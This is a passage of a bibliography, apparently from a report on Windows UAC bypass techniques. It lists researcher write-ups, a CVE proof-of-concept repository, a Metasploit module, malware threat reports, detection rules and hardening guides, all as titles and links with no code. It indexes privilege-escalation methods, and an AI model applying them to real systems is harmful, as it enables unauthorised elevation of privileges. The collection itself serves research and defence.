[4] User Account Control settings and configuration — Microsoft Learn — https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/settings-and-configuration
[5] The COM Elevation Moniker — Microsoft Learn — https://learn.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker
[6] Microsoft Security Servicing Criteria for Windows — Microsoft/MSRC — https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria
[7] Calling Local Windows RPC Servers — James Forshaw, Google Project Zero (2019) — https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
[8] "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
[9] Bypassing UAC on Windows 10 using Disk Cleanup — enigma0x3 (2016) — https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
[10] Bypassing UAC using App Paths — enigma0x3 (2017) — https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
[11] "Fileless" UAC Bypass using sdclt.exe — enigma0x3 (2017) — https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
[12] First entry: Welcome and fileless UAC bypass (fodhelper) — winscripting.blog (2017) — https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
[13] Exploiting Environment Variables in Scheduled Tasks for UAC Bypass — James Forshaw (2017) — https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html
[14] UAC Bypass by Mocking Trusted Directories — David Wells, Tenable TechBlog (2020) — https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
[15] Fileless UAC Bypass in Windows Store Binary (WSReset) — Hashim Jawad, ActiveCyber (2019) — https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html
[16] Yet another sdclt UAC bypass — Emeric Nasi, sevagas — http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
[17] MSDT DLL Hijack UAC bypass — Emeric Nasi, sevagas — https://blog.sevagas.com/?MSDT-DLL-Hijack-UAC-bypass
[18] UAC bypass via elevated .NET applications — offsec.provadys — https://offsec.provadys.com/UAC-bypass-dotnet.html
[19] Advanced Windows Task Scheduler Playbook Part 2 (IElevatedFactoryServer) — zcgonvh — http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html
[20] Bypassing UAC with SSPI Datagram Contexts — antonioCoco, splintercod3 — https://splintercod3.blogspot.com/p/bypassing-uac-with-sspi-datagram.html
[21] Mitigate some Exploits for Windows UAC (incl. MSRC case 64957 quote) — Stefan Kanthak — https://skanthak.hier-im-netz.de/uacamole.html
[22] Reversing ICMLuaUtil: ShellExec and CallCustomActionDll — codedintrusion — https://codedintrusion.com/posts/reversing-icmluautil/
[23] Creative UAC Bypass Methods for the Modern Era — g3tsyst3m — https://g3tsyst3m.github.io/privilege%20escalation/Creative-UAC-Bypass-Methods-for-the-Modern-Era/
[24] UAC Bypass or story about three escalations (hakril APPINFO spoof) — Positive Research, Habr — https://habrahabr.ru/company/pm/blog/328008/
[25] NVD — CVE-2019-1388 Detail — NIST — https://nvd.nist.gov/vuln/detail/CVE-2019-1388
[26] CVE-2019-1388 — Abuse UAC Windows Certificate Dialog (PoC) — nobodyatall648 — https://github.com/nobodyatall648/CVE-2019-1388
[27] CISA Known Exploited Vulnerabilities Catalog — CISA — https://www.cisa.gov/known-exploited-vulnerabilities-catalog
[28] DBatLoader and Remcos RAT Sweep Eastern Europe — SentinelOne — https://www.sentinelone.com/blog/dbatloader-and-remcos-rat-sweep-eastern-europe/
[29] Fickle Stealer Distributed via Multiple Attack Chain — Fortinet FortiGuard Labs — https://www.fortinet.com/blog/threat-research/fickle-stealer-distributed-via-multiple-attack-chain
[30] Old Windows 'Mock Folders' UAC bypass used to drop malware — BleepingComputer (2023) — https://www.bleepingcomputer.com/news/security/old-windows-mock-folders-uac-bypass-used-to-drop-malware/
[31] Atomic Red Team T1548.002 tests — Red Canary — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md
[32] Detection: FodHelper UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/909f8fd8-7ac8-11eb-a1f3-acde48001122/
[33] Detection: WSReset UAC Bypass — Splunk Threat Research — https://research.splunk.com/endpoint/8b5901bc-da63-11eb-be43-acde48001122/
[34] Detection: .NET Profiler UAC bypass — Splunk Threat Research — https://research.splunk.com/endpoint/0252ca80-e30d-11eb-8aa3-acde48001122/
[35] Windows Handle Duplication in Known UAC-Bypass Binaries — Splunk Threat Research — https://research.splunk.com/endpoint/d7369bf5-1315-4138-b927-2dd8bb8c1da7/
[36] Windows UAC Bypass Suspicious Child Process — Splunk Threat Research — https://research.splunk.com/endpoint/453a6b0f-b0ea-48fa-9cf4-20537ffdd22c/
[37] Sigma — Generic Signature Format for SIEM Systems (UAC bypass rule set) — SigmaHQ — https://github.com/SigmaHQ/sigma
[38] Metasploit module: bypassuac_eventvwr — Rapid7 — https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/bypassuac_eventvwr.rb
[39] UAC bypasses from COMAutoApprovalList — swapcontext (2020) — https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html
[40] Reading Your Way Around UAC (Parts 13) — James Forshaw (2017) — https://tyranidslair.blogspot.com/2017/05/reading-your-way-around-uac-part-1.html
[41] Accessing Access Tokens for UIAccess — James Forshaw (2019) — https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html
[42] UAC Bypass via SystemPropertiesAdvanced.exe and DLL Hijacking — egre55 — https://egre55.github.io/system-properties-uac-bypass/
[43] Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses — V3ded — https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses
[44] Hardening Microsoft Windows 10/11 Workstations (UAC policy recommendations) — Australian Cyber Security Centre (2025) — https://www.cyber.gov.au/sites/default/files/2025-09/hardening_microsoft_windows_10_workstations_september_2025.pdf
[45] In-Memory Loader Drops ScreenConnect (elevated COM abuse) — Zscaler ThreatLabz — https://www.zscaler.com/blogs/security-research/memory-loader-drops-screenconnect